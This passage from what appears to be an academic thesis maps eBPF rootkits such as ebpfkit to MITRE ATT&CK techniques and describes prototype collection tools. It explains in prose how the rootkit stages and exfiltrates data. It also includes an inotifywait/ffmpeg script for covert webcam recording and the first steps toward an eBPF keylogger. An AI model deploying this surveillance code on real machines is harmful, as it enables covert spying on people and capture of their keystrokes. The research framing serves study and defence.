stores. Then, a TC egress classifier intercepts the legitimate web application’s health
check response and overrides its content with the requested data before it leaves the
host.

Data Staged (T1074): The rootkit collects information and stages it in eBPF
maps. For instance, during file content exfiltration, the rootkit copies data from a
file (like /etc/passwd) into an eBPF map once a user-space process opens and reads
it. Once the data is staged in the eBPF map, the ebpfkit-client can retrieve it using
a "get" command, effectively exfiltrating the stored data.

Application Layer Protocol (T1071): The rootkit primarily uses HT'TPS traffic
for its C2 operations and data exfiltration. It leverages the application layer of the
OSI model to mimic normal, expected traffic, thereby avoiding detection. Commands
and their results, including exfiltrated data, are embedded within these legitimate-
looking HTTPS requests and responses. This technique can also be applied to other
unencrypted network protocols like DNS.

Content Injection (T1659): For data exfiltration, a TC egress classifier intercepts
the legitimate outgoing response (e.g., a health check answer) from the web applica-
tion and overrides its content with the requested exfiltrated data (such as file content,
environment variables, database dumps, or in-memory data). This allows the rootkit
to inject malicious content (exfiltrated data) into an existing outgoing data transfer
channel. This method is also applicable to DNS spoofing.

Data Obfuscation (T1001): To remain stealthy, the rootkit employs data obfus-
cation by embedding sensitive data within what appears to be normal egress traffic.
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When data needs to be exfiltrated, the rootkit’s TC egress classifier program in-
tercepts the legitimate web application’s response to a "health check" (which was
an overridden malicious request) and replaces its content with the exfiltrated data.
This makes sensitive data appear as normal outgoing traffic from the web application,
thereby hiding it from defense mechanisms. This is effective across any unencrypted
network protocol, including DNS.

e Hide Infrastructure (T1665): The rootkit hides its infrastructure by leveraging
TC classifier programs for data exfiltration. These programs allow the rootkit to
embed various types of data, like file content, environment variables, or database
dumps, within what appears to be normal, legitimate outgoing network traffic from
the web application. This method helps evade detection of the rootkit’s operational
infrastructure by blending malicious activity with benign network flows.

e Protocol Tunneling (T1572): The rootkit utilizes protocol tunneling by hijacking
existing connections to exfiltrate data without initiating new ones or opening ports.
After a client requests specific data, the rootkit’s XDP program stores the network
flow and requested resource. When the web application responds to a health check,
a TC egress classifier intercepts the packet and overrides the legitimate health check
answer with the requested data. This enables the exfiltration of a wide range of
data, including file content, environment variables, database dumps and in-memory
data, over existing HT'TPS connections, or any unencrypted network protocol. This
technique is also demonstrated for DNS spoofing.

3.3.12.1 Synthesis of ebpfkit’s Qualitative Technique Coverage

The analysis emphasizes that many of ebpfkit’s techniques overlap across multiple MITRE
ATT&CK identifiers, reflecting the complex and multi-use nature of rootkit behaviors.
For instance, a single strategy like syscall spoofing may correspond to several ATT&CK
techniques, such as execution hijacking or debugger evasion. This overlap is intentional,
illustrating how versatile and layered these adversarial methods can be.

Beyond mapping tactics, the section serves several strategic purposes: it offers a structured
understanding of ebpfkit’s operations, uncovers hidden implementation paths, deepens
insight into rootkit capabilities, anticipates future evolutions in rootkit design and identifies
gaps in technique usage that warrant further investigation.

3.4 Quantitative Analysis of Technique Coverage

3.4.1 Techniques Frequency

The first proposed analysis consists of a frequency histogram in Figure 3.1 that helps
visualizing the distribution of MITRE ATT&CK techniques as they appear in the context
of ebpfkit. Each bar in the histogram corresponds to a specific technique, such as T1036
(Masquerading) or T1548 (Abuse Elevation Control Mechanism) and its length represents
the number of times that technique is employed across the various functionalities of
ebpfkit. By translating qualitative observations of rootkit behavior into measurable data
points, the histogram enables to assess the strategic emphasis of ebpfkit’s design. For
example, a high frequency of techniques associated with Defense Evasion or Persistence
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suggests that the rootkit prioritizes stealth and long-term access over rapid exploitation
or lateral movement. This insight is crucial for defenders, as it informs which ATT&CK
techniques should be prioritized for detection and mitigation in environments where
ebpfkit might be deployed.

Moreover, the histogram facilitates the identification of technique reuse. When a single
technique appears multiple times across different ebpfkit modules, such as hiding processes,
concealing network sockets, or intercepting system calls, it indicates that the technique is
versatile and foundational to the rootkit’s operation. From a threat modeling perspective,
this helps understanding the underlying logic and design philosophy of the malware.

The Figure 3.1 could also serve as a comparative benchmark. By analyzing similar
histograms for other rootkits or malware families, it becomes possible to determine
whether ebpfkit follows conventional patterns or introduces novel techniques. If certain
technique IDs appear disproportionately in ebpfkit compared to other threats, it may
signal innovation or a shift in adversarial tactics. The absence of expected techniques
might highlight limitations in ebpfkit’s scope or deliberate choices to avoid detection.
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Figure 3.1: Frequency of MITRE ATT&CK Techniques Usage

Masquerading (1036) is the most frequently observed technique, indicating ebpfkit’s
focus on stealth, which is coherent for a rootkit. This involves capabilities such as
hiding its own process and components, obscuring kernel logs, achieving persistent
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access by overriding file content without visible changes and mimicking normal traffic
for C2. The high frequency underscores the rootkit’s design to blend in and avoid detection.

The techniques Abuse Elevation Control Mechanism (T1548), Hijack Execution
Flow (T1574) and Exploitation for Defense Evasion (T1211) are of fundamental
importance to ebpfkit’s operations. Their high prevalence highlights the rootkit’s core
focus on Privilege Escalation, Persistence and Defense Evasion. T1548 allows ebpfkit
to gain and maintain higher permissions, enabling actions such as bypassing container
isolation and securing enduring access through manipulating system files. T1574 is
critical for ebpfkit to control system and application behavior, facilitating persistent
access and covert communication by altering typical program flow, including within
containers. Lastly, T1211 is crucial for ebpfkit’s primary goal of avoiding detection, by
bypassing security protections like RASP, hiding its components and obscuring system
logs. These techniques collectively ensure the rootkit’s hidden and powerful presence.

The techniques that appear with a frequency of 1 in ebpfkit’s capabilities, including OS
Credential Dumping (T1003), Obfuscated Files or Information (T1027), Sched-
uled Task/Job (T1053), Process Injection (T1055), Data Staged (T1074), Non-
Application Layer Protocol (T1095), Server Software Component (T1505), Im-
plant Internal Image (T1525) and Escape to Host (T1611), being less frequently
used within ebpfkit’s documented capabilities suggests that they often represent highly
specialized implementations for specific attack scenarios, such as container breakouts, spe-
cific database backdoors, or particular network interaction patterns. Unlike core techniques
like Masquerading (T1036) or Hijack Execution Flow (T1574) which are versatile
and foundational to many aspects of the rootkit’s stealth and control, these less frequent
techniques typically address a singular facet of a larger attack chain or describe a specific
characteristic of the rootkit’s setup rather than a broadly applicable method across its
diverse functionalities.

3.4.2 Tactics Frequency

Figure 3.2 was derived by aggregating the frequencies of all techniques presented in Figure
3.1. It is important to note that certain techniques are associated with multiple tactics.
For instance, the technique Valid Accounts (T1078) is mapped to several tactics within
the MITRE ATT&CK framework. As a result, such techniques contribute proportion-
ally more to the overall frequency count, thereby influencing the distribution across tactics.

Additionally, while the analysis focuses on six selected tactics, some tactics outside this
subset still exhibit non-zero frequencies. This occurs because they include techniques
that are also present within the selected six. Consequently, the tactic-level frequency
representation reflects not only the direct selection criteria but also the interconnected
nature of technique-to-tactic mappings.

The following list presents the tactics that registered a frequency greater than zero, ordered
from highest to lowest based on their aggregated technique occurrences:

e Defense Evasion (TA0005): This tactic appears most frequently, as it represents
a core capability of rootkits. The flexibility and stealth features of eBPF make it
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Figure 3.2: Frequency of MITRE ATT&CK Tactics Usage

particularly effective for implementing defense evasion techniques.

e Persistence (TA0003): The second most prominent tactic, persistence is essential
for maintaining long-term access. eBPF can facilitate this through mechanisms that
allow code to remain active across system reboots or user sessions.

e Privilege Escalation (TA0004): Often a prerequisite for both defense evasion
and persistence, this tactic is less directly supported by eBPF. However, it remains
a critical step in enabling more advanced adversarial behavior.

e Command and Control (TA0011): One of the primary motivations for deploying
a rootkit is to establish remote control over the compromised system. eBPF’s network
visibility and manipulation capabilities significantly enhance the feasibility of C2
operations.

e Credential Access (TAO0006): This tactic plays a supporting role in privilege
escalation, as acquiring valid credentials is often necessary to gain elevated access.
While not a primary focus of eBPF, certain techniques may contribute indirectly.

e Discovery (TA0007): Excluded from the scope of this analysis.

e Collection (TA0009): Among the least represented tactics in terms of eBPF ap-
plicability. Data collection techniques are generally less suited to eBPF’s operational
model.

e Initial Access (TA0001): Excluded from the scope of this analysis.
e Lateral Movement (TA0008): Excluded from the scope of this analysis.

e Execution (TA0002): Excluded from the scope of this analysis.

A notable example illustrating the overlap between tactics is the technique Valid
Accounts (T1078). While the core action (e.g. wusing valid credentials) remains
consistent, its tactical role varies depending on the stage of the attack. For instance,
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using valid credentials to gain initial access differs significantly in intent and context
from using them to escalate privileges within an already compromised system. This
dual applicability explains why tactics such as Initial Access (TA0001) and others
appear in the frequency analysis, even if they were not part of the primary selection criteria.

3.4.3 Collection Tactic Coverage

The Collection (TAO0009) tactic, as defined by the MITRE ATT&CK framework,
encompasses techniques used by adversaries to gather data from compromised systems,
including file access, keylogging, screen capture and browser data theft. While these
techniques are central to many attack campaigns, their implementation via eBPF-based
rootkits is notably limited. This is primarily due to the architectural constraints of eBPF,
which is designed for safe, bounded execution within the kernel. eBPF programs are
sandboxed and restricted from performing arbitrary memory access or direct interaction
with user-space applications, making them non suited for tasks that require persistent
storage or access to peripheral devices and graphical interfaces.

Although eBPF excels in observability, particularly in syscall interception, network
monitoring and process tracing, it lacks the capacity to execute complex data harvesting
operations independently. Its internal data structures, such as maps, are constrained in
size and scope, preventing the buffering or manipulation of large datasets. As a result,
adversaries seeking to implement robust collection capabilities must rely on complemen-
tary user-space binaries or alternative kernel modules. In contrast to tactics like Defense
Evasion or Command and Control, where eBPF’s strengths are directly applicable, the
Collection tactic remains one of the least supported domains within eBPF-based rootkit

design.
Technique ebpfkit | Bad BPF | Boopkit | TripleCross
T1557. Adversary-in-the-Middle X X . X

T1560. Archive Collected Data

T1123. Audio Capture

T1119. Automated Collection

T1185. Browser Session Hijacking

T1115. Clipboard Data

T1530. Data from Cloud Storage

T1602. Data from Configuration

Repository

T1213. Data from Information

Repositories

T1005. Data from Local System X X X X
T1039. Data from Network Shared

Drive

T1025. Data from Removable Me-

dia

T1074. Data Staged X . . X

ol



Technique ebpfkit | Bad BPF | Boopkit | TripleCross

T1114. Email Collection

T1056. Input Capture

T1113. Screen Capture

T1125. Video Capture

Table 3.4: Mapping of MITRE ATT&CK Collection Techniques (TA0009) to eBPF Rootk-
its

As illustrated in Table 3.4, the number of Collection techniques implemented across the
selected eBPF-based rootkits is very low. This observation aligns with the architectural
limitations discussed earlier. The vast majority of techniques listed under the Collection
tactic, such as Screen Capture (T1113), Audio Capture (T1123), Clipboard Data
(T1115) and Browser Session Hijacking (T1185), require interaction with user-space
applications or access to peripheral devices, both of which fall outside the operational
scope of eBPF. Consequently, only a small subset of techniques appear across the selected
rootkits.

This limited coverage highlights how poorly suited eBPF is for handling complex data
collection tasks. While eBPF excels in stealth, observability and control within the kernel,
it lacks the necessary primitives to support high-volume or interactive data harvesting. As
such, adversaries aiming to implement robust Collection capabilities must either extend
their tooling beyond eBPF or integrate it with complementary components operating in
user space. This reinforces the conclusion that, within the context of rootkit function-
ality, the Collection tactic remains one of the least supported domains by eBPF-based
approaches.
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Chapter 4
Implementation Challenges

4.1 Need for Collection Tools

The quantitative and qualitative analyses presented in Chapter 3 show a clear pat-
tern: while eBPF excels at stealthy observation and kernel-level manipulation, it is
fundamentally limited as a Collection mechanism. The mapping of MITRE ATT&CK
Collection techniques to existing eBPF rootkits confirms that most collection techniques
(screen/audio capture, browser session hijacking, clipboard scraping, etc.) are either
absent or only weakly represented in the examined projects. These findings reflect
architectural constraints that make eBPF ill-suited to perform large, interactive or
high-volume collection tasks entirely inside the kernel.

For these reasons, the implementation work in this thesis explores the design of a small
ecosystem of complementary collection tools. The envisioned collection subsystem would
contain lightweight, low-overhead kernel probes (kprobes/tracepoints/XDP /TC) intended
to capture events.

The environment chosen for development and testing is optimized to make this hybrid
architecture reproducible and auditable: a Vagrant-managed Ubuntu 22.04 VM with a
shared /shared/src directory, Ansible-based provisioning, and a standard libbpf-based
build pipeline. The project layout and the workflow are used to ensure reproducibility
of the experiments when running the collection tools locally. Key supply-chain steps
(generating vmlinux.h, building libbpf, producing skeleton headers with bpftool, and
invoking the Makefile) are automated in the repository so the user-space collectors and
eBPF probes can be iterated rapidly.

The remainder of this section describes, at a glance, what the collection tooling will provide
and how it maps to the experimental environment:

o Targeted File Access Tracing with eBPF: This feature provides a precise and efficient
method for monitoring file access events. It combines a kernel-space eBPF program
attached to the sys_enter_openat tracepoint with a user-space event handling pro-
gram. The implementation uses CO-RE for portability across kernel versions and
filters events in the kernel to minimize overhead, sending only relevant data to user
space via a perf event buffer. This serves as a foundational collection feature for
broader monitoring workflows.

e Webcam Capture: This feature explores data collection from peripheral devices, a
task outside the direct scope of eBPF. The implementation involves modifying the
Vagrantfile to enable webcam passthrough to the virtual machine. Standard Linux
user-space utilities like ffmpeg for recording, inotifywait for automated capture
upon device access, and v4l2loopback to manage device contention are utilized.
This demonstrates how complementary user-space tools can be integrated into the
environment to achieve broader collection capabilities.
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4.2 Methodology

The implementation methodology is designed with the idea to address the collection capa-
bility gap in eBPF-based threat detection by developing a hybrid architecture that com-
bines lightweight eBPF kernel probes with complementary user-space tools. The approach
emphasizes the creation of a standardized and reproducible development environment to

ensure experimental consistency and portability across systems.

4.2.1 Key Strategies

This methodology is realized through the following core strategies:

e Automated Environment Setup: A Vagrant-managed VirtualBox virtual ma-
chine running Ubuntu 22.04 provides a consistent operating system and kernel envi-
ronment. Ansible is used to automate the provisioning of all dependencies, including
compilers (clang, 11vm), kernel headers, and eBPF development frameworks such as
1ibbpf and BCC. This eliminates manual configuration and ensures repeatability.

e Portable Development Toolchain: The project leverages the 1ibbpf library and
the CO-RE paradigm to ensure that eBPF programs remain portable across different
kernel versions without requiring recompilation. A custom Makefile automates the
build process, including the generation of vmlinux.h, compilation of eBPF code, and
creation of a user-space skeleton header using bpftool.

e Hybrid Feature Implementation: The methodology is demonstrated through
two proof-of-concept tools that exemplify the hybrid model:

1. Targeted File Access Tracing: An efficient eBPF program is attached to the
sys_enter_openat tracepoint to capture file open events. Filtering is performed
in-kernel to minimize overhead, and only relevant events are transmitted to a
user-space handler via a perf event buffer.

2. Webcam Capture: To explore data collection beyond eBPF’s direct capabil-
ities, webcam passthrough is configured within the virtual machine. Standard
user-space tools such as ffmpeg are employed to capture video streams from the
host webcam device.

4.3 Setup, Requirements, Environment & Tools

The implementation work can be found at: https://gitlab.cylab.be/z.mansouri/
ebpf-collection-tools.

4.3.1 Project Structure Overview

To facilitate reproducible eBPF development and provisioning, the project is organized
into a well-defined directory hierarchy. This structure separates concerns such as provision-
ing logic, tooling roles, source code, and virtualization configuration. The root directory
ebpf-dev/ contains all necessary components to initialize and manage the development
environment, including Ansible roles, the Vagrant configuration, and the source code di-
rectory. Figure 4.1 illustrates the overall layout of this environment.


https://gitlab.cylab.be/z.mansouri/ebpf-collection-tools
https://gitlab.cylab.be/z.mansouri/ebpf-collection-tools
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ebpf-dev/
tprovision.yml
roles/
| _core/
| tasks/
dependencies.yml
main.yml
system.yml
| _tools/
| tasks/
ebpf.yml
main.yml
network.yml

| _src/
._Vagrantfile

Figure 4.1: Directory layout of the project environment for eBPF development

4.3.2 Vagrant Configuration

To ensure a consistent and reproducible development environment for eBPF experimen-
tation, a virtualized infrastructure was provisioned using Vagrant in combination with
VirtualBox and Ansible. The configuration is defined in a Vagrantfile (cf. Appendix
B.1), which automates the creation and setup of an Ubuntu 22.04 (Jammy Jellyfish)
VM.

Key components of the setup include:

e Base Image: The VM uses the ubuntu/jammy64 box, providing a clean Ubuntu
22.04 environment.

e Resource Allocation: The VM is configured with 16 GB of RAM and 8 CPU cores
to support resource-intensive eBPF workloads and compilation tasks.

e Shared Folder: The local ./src directory is mounted inside the VM at
/home/vagrant/shared, enabling seamless code synchronization between host and
guest.

e VirtualBox Customization: Additional settings such as bidirectional clipboard
sharing, increased video memory, and a custom VM icon enhance usability.

e Provisioning;:

— A shell script installs Ansible within the VM.

— Ansible Local is then used to apply the provision.yml playbook, which con-
figures system dependencies, networking tools, and eBPF-related components.
Specific tags (dep, sys, net, misc, ebpf) allow modular provisioning.

This setup ensures that all contributors and experiments operate within a standardized
environment, minimizing configuration drift and simplifying reproducibility.
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4.3.3 Provisioning with Ansible

An Ansible provisioning setup ensures that both exploratory tracing and production-grade
eBPF applications can be developed, tested, and deployed within the same virtualized en-
vironment by creating a robust and flexible eBPF development environment by combining;:

e Low-level kernel access (via headers and 1ibbpf)

e High-level scripting (via BCC and Python)

e Modern tooling (via bpftrace)

e Network readiness (via NetworkManager, nftables, scapy)

The provisioning tasks defined in the Ansible roles/ directory in Figure 4.1 are orga-
nized to support a complete and reproducible eBPF development environment. Each role
contributes specific functionality that collectively enables both exploratory tracing and
production-grade eBPF workflows.

4.3.3.1 System Configuration (system.yml)

These tasks ensure the virtual machine is correctly localized and prepared for development.
The keyboard layout is set to Belgian (XKBLAYOUT="be"), and the system timezone is
configured to Europe/Brussels. While these settings are not directly related to eBPF,
they enhance usability and ensure consistency across development sessions.

4.3.3.2 Core Dependencies (dependencies.yml)

This role installs essential packages required for compiling, running, and interacting with
eBPF programs:

e Kernel headers and tools: 1linux-headers-{{ ansible_kernel }} and various
linux-tools packages provide access to kernel interfaces and utilities such as perf,
bpftool, and trace-cmd.

e Compiler and build tools: 1lvm, clang, gcc-multilib, build-essential, and
pkg-config support the compilation of eBPF bytecode and related tooling.

e BPF libraries: 1libbpf-dev offers low-level C APIs, while libbpfcc-dev,
bpfcc-tools, and python3-bpfcc are part of the BCC, enabling high-level scripting
in Python and C++.

e Python environment: python3-pip is installed to facilitate the use of Python-based
eBPF tools.

These packages form the backbone of a flexible and extensible eBPF development stack.

4.3.3.3 Network Configuration (network.yml)

Proper networking is essential for testing eBPF programs that interact with network traffic.
This role ensures reliable connectivity within the VM:

e NetworkManager replaces systemd-networkd to improve compatibility with Virtual-
Box.
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e net-tools provides legacy utilities such as ifconfig and netstat for debugging.

e nftables serves as a modern packet filtering framework that can be extended with
eBPF.

e scapy is a Python library for crafting and analyzing packets, useful for testing eBPF

hooks in networking subsystems.

These tools enable the development and evaluation of eBPF programs in realistic network

scenarios.

4.3.3.4 eBPF-Specific Tools (ebpf.yml)

This role installs advanced utilities tailored for eBPF development:

e bee (Python module) provides a rich set of bindings and prebuilt tools for tracing

and monitoring kernel activity.
e bpftrace is a high-level tracing language.

Together, these tools streamline the development of eBPF applications, particularly by
facilitating rapid prototyping through Python-based workflows, as opposed to traditional
C-based development.

4.3.4 Building and Running the eBPF Code

The src/ folder from Figure 4.1 has its content listed in Figure 4.2. It contains the source
files and build configuration necessary for compiling and executing the eBPF program.
The Makefile (cf. Appendix B.2) plays a central role in automating the build process. It
coordinates the extraction of kernel type information via vmlinux.h, compiles the BPF
program into an object file, generates a skeleton header using bpftool, and finally links
the user-space application against the 1ibbpf library to produce an executable binary.
This automation ensures consistency and reduces manual effort during development.

src/
1ibbpf/
Makefile
program.bpf.c
program.c

Figure 4.2: Directory layout of the src/ folder used for eBPF development

The 1ibbpf library is built and run using the commands from Listing 5, which compile
the static 1ibbpf.a archive into the libbpf/build/ directory. This library provides a
robust interface for user-space programs to interact with the kernel’s eBPF subsystem.
It abstracts low-level system calls and offers convenient APIs for loading, verifying,
and attaching BPF programs to various kernel hooks. Additionally, it facilitates the
management of BPF maps and integrates seamlessly with skeleton headers generated by
bpftool, thereby streamlining development and improving code maintainability.
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A key feature supported by libbpf is CO-RE, which enables eBPF programs to be
compiled against a generic kernel type format and then run across different kernel
versions without recompilation. This is achieved by leveraging BTF metadata and
relocation mechanisms that adapt the program to the target system’s kernel layout at
runtime. CO-RE significantly enhances portability and reduces the maintenance burden
of kernel-specific builds, making it especially valuable in environments with diverse or
frequently updated kernels.

git clone https://github.com/libbpf/libbpf
mkdir -p libbpf/build
make -C libbpf/src BUILD_DIR=../build OBJDIR=../build

Listing 5: Cloning and building the 1ibbpf library for eBPF development

Once the environment is provisioned and the necessary components are built, the final
executable (referred to as program) can be compiled and run using the commands shown
in Listing 6. This step completes the workflow, allowing to deploy and test the eBPF
program within a Vagrant-managed Ubuntu VM.

vagrant up

vagrant ssh

cd shared/keylogger/libbpf
make

sudo ./program

Listing 6: Steps to provision and run an eBPF program inside a Vagrant-managed Ubuntu
VM

4.4 Collection Features

4.4.1 Targeted File Access Tracing with eBPF

This section presents a targeted tracing strategy developed to monitor file access events
using the 1ibbpf technology. The implementation combines kernel-space instrumentation
with user-space event handling to selectively capture invocations of the openat system
call when a specific file is accessed. This design was supposed to serve as a foundational
collection feature for broader observability and monitoring workflows (before more specific
techniques were found).

4.4.1.1 Kernel-Space Instrumentation

The kernel-space component is implemented in the trace_open.bpf . c source file (cf. List-
ing 7). The eBPF program is attached to the tracepoint/syscalls/sys_enter_openat
tracepoint, which is triggered whenever a process attempts to open a file using the openat
system call. To ensure portability across kernel versions, the program employs CO-RE
techniques. This is achieved by including the vmlinux.h header and using bpf_core_read
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macros, which allow the program to adapt to varying kernel data structures at runtime
through BTF metadata.

The program defines a data_t structure to capture relevant metadata, including the
process ID, command name, and filename. A filtering function, is_target (), compares
the accessed filename against a predefined target (/home/vagrant/test.txt). Only
matching events are emitted to user space via a BPF_MAP_TYPE_PERF_EVENT_ARRAY,
thereby minimizing overhead and ensuring that only relevant data is collected.

// Attach this function to the tracepoint for sys_enter_openat
syscall

SEC("tracepoint/syscalls/sys_enter_openat")

int handle_openat (struct trace_event_raw_sys_enter *ctx)

{
struct data_t data = {};
const char *filename;

data.pid = bpf_get_current_pid_tgid() >> 32;
bpf_get_current_comm(&data.comm, sizeof (data.comm));

filename = (const char *)ctx->args[1];
bpf_probe_read_user_str (&data.filename, sizeof (data.filename),
filename) ;

if (is_target(data.filename) == 0) {
return O;

}

bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &data,
sizeof (data));
return O;

Listing 7: eBPF program attached to sys_enter_openat tracepoint

4.4.1.2 User-Space Event Handling

The user-space logic is implemented in the trace_open.c file (cf. Listing 8). It is
responsible for loading, attaching, and interacting with the eBPF program. The imple-
mentation utilizes libbpf’s auto-generated skeleton (program.skel.h) to simplify program
management and reduce boilerplate code. Upon successful loading and attachment, a perf
buffer is configured to receive events from the kernel.

Two callback functions are defined: handle_event() processes valid events and prints
the collected metadata, while handle_lost() reports any dropped events due to buffer
overflow. The program enters a polling loop, continuously monitoring for new events until
interrupted by the user. Signal handling ensures graceful termination, and all resources
are properly released upon exit.
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static void handle_event(void *ctx, int cpu, void *data, _u32 size

) {

struct data_t *e = data;
printf ("PID %u (%s) opened: %s\n", e->pid, e->comm, e->filename
)

}

int main() {
struct trace_open *skel = trace_open__open();
if (!'skel) return 1;

trace_open__load (skel);
if (trace_open__attach(skel)) goto cleanup;

struct perf_buffer_opts pb_opts = {};
pb_opts.sample_cb = handle_event;

struct perf_buffer *pb = perf_buffer__new(
bpf_map__fd(skel->maps.events), 8, &pb_opts

)

if (!pb) goto cleanup;

puts("Monitoring file opens... Ctrl+C to exit.");
while (!'exiting)
perf_buffer__poll(pb, 100);

cleanup:
trace_open__destroy (skel);
return O;

Listing 8: User-space program for receiving and printing eBPF events

4.4.1.3 Significance and Extensibility

This targeted tracing strategy demonstrates a precise and efficient method for collecting
file access events. By focusing on a specific file, the system avoids unnecessary data
collection and reduces performance impact. The use of CO-RE enhances portability across
kernel versions, while perf buffers ensure low-latency communication between kernel and
user space.

The design is modular and extensible. It can be adapted to monitor additional files, direc-
tories, or system calls. Furthermore, it provides a foundation for integrating with broader
observability frameworks, enabling correlation with network activity, user behavior, or

system performance metrics.

This implementation could serve as a prototype for developing advanced collection features
in eBPF-based monitoring systems, emphasizing precision, portability, and performance.

4.4.2 Webcam Capture

This section explores the integration of webcam capture (cf. T1125, Video Capture) within
a virtualized environment, focusing on how eBPF was envisioned to facilitate stealthy and
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reactive recording workflows. The original concept involved using eBPF to monitor sys-
tem calls related to device access, specifically, detecting when the webcam device file (e.g.,
/dev/video0) was opened. Upon such detection, a recording program would be launched
automatically, capturing video in the background and storing the output discreetly. The
goal was to create a mechanism that could respond to webcam usage events without re-
quiring persistent monitoring or manual intervention, thereby enabling covert surveillance
within a controlled VM setup.

4.4.2.1 Vagrantfile Modifications for Webcam Support

To enable webcam passthrough from the host to the Ubuntu VM, the additions in Listing
9 were made to the Vagrantfile.

# Enable USB controller and EHCI (USB 2.0) support

vb.customize ["modifyvm", :id, "--usb", "on"

vb.customize ["modifyvm", :id, "--usbehci", "on"]

# Define a USB filter for the webcam device

vb.customize ["usbfilter", "O", "--target", :id, "--name", "Webcam"
, "--vendorid", "046d", "--productid", "0825"]

Listing 9: VirtualBox customization directives for USB webcam passthrough

Additionally, the shell provisioner was updated to install webcam-related utilities and
assign appropriate permissions, as shown in Listing 10.

sudo apt install -y v4l-utils ffmpeg
sudo usermod -aG video vagrant

Listing 10: Shell provisioner commands for webcam access and tooling

These changes enable the VM to detect and interact with the host webcam, supporting
tasks such as image capture and video streaming.

4.4.2.2 Web Cam Recording

Once webcam access is enabled within the virtual machine, it becomes possible to capture
video streams directly from the device using standard Linux tools. This subsection outlines
practical methods for webcam recording, including direct capture via ffmpeg, automated
recording through a custom script, and virtual device forwarding using v412loopback.

Recording via ffmpeg

On Linux systems, webcams typically appear as character devices under /dev, such as
/dev/video0. The ffmpeg utility can be used to record video from this device with
hardware-accelerated compression (cf. Listing 11).

Key flags used in this command include:
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ffmpeg -f v412 -i /dev/videoO -c:v 1libx264 -preset ultrafast -crf
23 output.mp4

Listing 11: Basic webcam recording command using ffmpeg

e -f v412: Specifies Video4Linux2 as the input format.

-i /dev/videoO0: Identifies the webcam device.

e -c:v libx264: Uses H.264 compression for video encoding.

e -preset ultrafast: Minimizes CPU usage during encoding.

-crf 23: Sets the quality level (lower values yield better quality and larger files).

Automated Recording Script

To automate webcam recording upon device access, a shell script (cf. Listing 12) can be
used in conjunction with inotifywait, which monitors file system events. The following
script initiates recording when the webcam device is opened and terminates recording when

it is closed.

#!/bin/bash

VIDEO_DEV="/dev/videoO"
OUTPUT_DIR="$HOME/webcam-recordings"

mkdir -p "$0UTPUT_DIR"

while true; do
inotifywait -e open "$VIDEO_DEV"
TIMESTAMP=$ (date +")Y-Ym-%d_%H-%M-%S")
ffmpeg -f v412 -i "$VIDEO_DEV" -c:v 1ibx264 -preset ultrafast \
"$0UTPUT_DIR/recording_$TIMESTAMP .mp4" &
FFMPEG_PID=$!

inotifywait -e close "$VIDEO_DEV"
kill -INT $FFMPEG_PID
done

Listing 12: Automated webcam recording script using inotifywait and ffmpeg

This approach is useful for reactive recording workflows, such as capturing user activity

or monitoring device usage.
Device Contention and Virtual Splitting
Webcam devices typically support exclusive access, meaning only one process can interact

with /dev/videoO at a time. Attempting to access the device concurrently (e.g., via VLC
and ffmpeg) results in an error (cf. Listing 13).
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Error opening input: Device or resource busy
Error opening input file /dev/videoO.
Error opening input files: Device or resource busy

Listing 13: Webcam access error due to device contention

To mitigate this limitation, the v4121oopback kernel module can be used to create a virtual
webcam device. This allows the real webcam stream to be forwarded into a virtual device,
enabling multiple applications to access the video feed indirectly (cf. Listings 14, 15).

sudo modprobe v4l2loopback devices=1 video_nr=10 \
card_label="VirtualCam" exclusive_caps=1

Listing 14: Creating a virtual webcam device using v4121loopback

ffmpeg -f v412 -input_format mjpeg -i /dev/videoO \
-vf scale=640:480, format=yuv420p \
-f v412 -pix_fmt yuv420p /dev/videol0

Listing 15: Forwarding real webcam stream to virtual device

This setup is intended to allow applications such as VLC to read from /dev/video1O,
simulating access to the real webcam. However, in practice, this configuration does
not resolve the underlying device contention issue. The virtual device still depends on
exclusive access to /dev/video0, and the original limitation persists: only one process
can interact with the physical webcam at a time.

Despite its powerful tracing capabilities, eBPF cannot resolve the issue of exclusive access
to webcam devices. This limitation arises because eBPF only operates at the kernel level to
observe and filter events, meaning that it does not have the authority to override hardware-
level constraints or modify driver behavior. When a webcam is already in use by one
process, the kernel enforces mutual exclusion, preventing other processes from accessing
the device. eBPF can detect that access was attempted or denied, but it cannot multiplex
the stream or force concurrent access. Therefore, while eBPF can be used to trigger
actions based on device usage, it cannot circumvent the fundamental restriction that only
one process may interact with the physical webcam at a time.

4.4.3 Keylogging with eBPF

This section details the implementation of a kernel-level keylogger using eBPF, a
method that allows for the stealthy and efficient monitoring of keyboard input events
directly within the kernel. By leveraging eBPF’s capability to attach to kernel probes,
specifically the input_event function, it is possible to capture raw key codes before they
are processed by the operating system’s input stack, thereby providing a robust mechanism
for logging user keystrokes (cf. T1056, Input Capture).




64 4.4. COLLECTION FEATURES

4.4.3.1 Target Function Selection Methodology

Identifying the optimal kernel function for capturing raw keystrokes requires reconnaissance
of the Linux input subsystem. The following methodology was used to identify the earliest
point of input processing accessible via kprobe attachment.

Input Probe Discovery and Tracing The first step involved listing all available kernel
probes related to input using bpftrace and simultaneously attaching to them to see which
are triggered by a physical keyboard event (cf. Listing 16).

# List all probes related to the 'input' subsystem
sudo bpftrace -1 kprobe:*xinputx*

# Attach to all found probes and print the probe name upon
execution

sudo bpftrace -e "$(sudo bpftrace -1 kprobe:*input* | awk '{print
$0 " { printf (\"%s\\n\", probe); }"}')"

# ... trigger keyboard input

cat <output_file> | sort | uniq

Listing 16: Discovering and Tracing Kernel input Probes

An example output of the triggered probes is present below in Listing 17.

kprobe:add_input_randomness
kprobe:input_event
kprobe:input_event_from_user
kprobe:input_get_disposition
kprobe:input_get_timestamp
kprobe:input_handle_event
kprobe:input_to_handler
kprobe:tty_termios_input_baud_rate
kprobe:uinput_write

Listing 17: Tracing Kernel input Probes Ouput

Kernel Source Analysis To understand the role and arguments of each triggered func-
tion, the corresponding kernel source code was retrieved and analyzed. This involved
adding source repositories, updating, and downloading the Linux kernel source (cf. Listing
18). The cscope was then used for efficient, interactive analysis to retrieve the file path
and function signature for each probe (cf. Listing 19).

Probe Arguments Analysis The resulting analysis of function arguments is summa-
rized in Table 4.1 and Table 4.2. Based on the argument analysis in Table 4.1, input_event
and input_handle_event immediately stand out as the primary candidates from the list of
triggered functions, as they are the only two that provide the complete context required for
robust keylogging: the originating device pointer (struct input_dev *dev), event type,
event code, and event value.
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# Add deb-src lines to sources.list
echo "deb-src http://archive.ubuntu.com/ubuntu noble main

restricted universe multiverse" | sudo tee -a /etc/apt/sources.
list

